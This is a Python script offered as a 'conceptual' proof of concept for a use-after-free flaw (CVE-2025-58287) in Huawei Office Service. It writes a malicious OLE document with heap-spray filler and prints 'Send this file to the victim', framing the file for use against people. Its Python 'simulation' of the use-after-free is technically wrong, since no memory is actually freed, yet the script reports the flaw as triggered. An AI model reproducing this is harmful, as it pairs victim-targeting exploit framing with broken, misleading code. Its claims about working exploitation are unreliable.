The following code is for security research and authorized testing only.
python
# CVE-2025-58287 - Huawei Office Service Use After Free PoC (Conceptual)
# This is a conceptual PoC demonstrating the UAF exploitation pattern.
# Actual exploitation requires crafting a malicious document targeting the specific vulnerable code path.
import struct
import sys
class UAFExploit:
"""
Conceptual PoC for CVE-2025-58287 (Huawei Office Service UAF)
Vulnerability Type: Use After Free (CWE-416)
"""
def __init__(self, target_arch='arm64'):
self.target_arch = target_arch
self.doc_magic = b'\xD0\xCF\x11\xE0' # OLE Compound Document magic
self.freed_ptr = None
self.spray_objects = []
def craft_malicious_document(self, output_path='exploit.doc'):
"""
Craft a malicious office document that triggers the UAF
in the Huawei Office Service parser.
"""
# Build OLE compound document header
header = bytearray(512)
header[0:8] = self.doc_magic + b'\xA1\xB1\x1A\xE1'
# Sector size = 512 bytes
struct.pack_into('<H', header, 30, 9)
# Mini sector size = 64 bytes
struct.pack_into('<H', header, 32, 6)
# Create directory entry for malicious payload
# This triggers the UAF by causing the parser to free
# an internal buffer while retaining a reference to it
dir_entry = bytearray(128)
dir_entry[0:2] = b'\x05' # Root storage type
dir_entry[66:70] = struct.pack('<I', 0xFFFFFFFE) # Invalid sector pointer
# Embed payload that will be read after the object is freed
payload = b'A' * 1024 # Heap spray filler
payload += struct.pack('<Q', 0x4141414141414141) # Freed pointer reuse
with open(output_path, 'wb') as f:
f.write(bytes(header))
f.write(bytes(dir_entry))
f.write(payload)
print(f"[+] Malicious document written to: {output_path}")
print(f"[!] Send this file to the victim to trigger CVE-2025-58287")
return output_path
def trigger_uaf(self):
"""
Simulate the UAF trigger sequence:
1. Allocate object A
2. Free object A (but keep pointer)
3. Allocate object B (reuses freed memory)
4. Access object A through dangling pointer -> UAF!
"""
# Step 1: Object allocation
obj_a = bytearray(256)
obj_a[0:8] = b'OBJ_A_TAG'
self.freed_ptr = obj_a
# Step 2: Object freed (in vulnerable code, free() is called)
# obj_a is now freed but freed_ptr still references it
del obj_a
# Step 3: Heap spray - allocate objects to reclaim freed memory
for i in range(100):
self.spray_objects.append(bytearray(256))
# Step 4: Access through dangling pointer -> USE AFTER FREE
try:
data = self.freed_ptr[0:8]
print(f"[+] UAF triggered! Read data from freed memory: {data}")
except Exception as e:
print(f"[-] UAF triggered with exception: {e}")
if __name__ == '__main__':
print("=" * 60)
print("CVE-2025-58287 - Huawei Office Service UAF PoC")
print("CVSS 3.1: 7.8 (HIGH)")
print("Vector: AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H")
print("=" * 60)
exploit = UAFExploit()
exploit.craft_malicious_document()
exploit.trigger_uaf()
print("\n[!] Note: This is a conceptual demonstration only.")
print("[!] Real exploitation requires targeting the specific")
print("[!] vulnerable code path in Huawei Office Service.")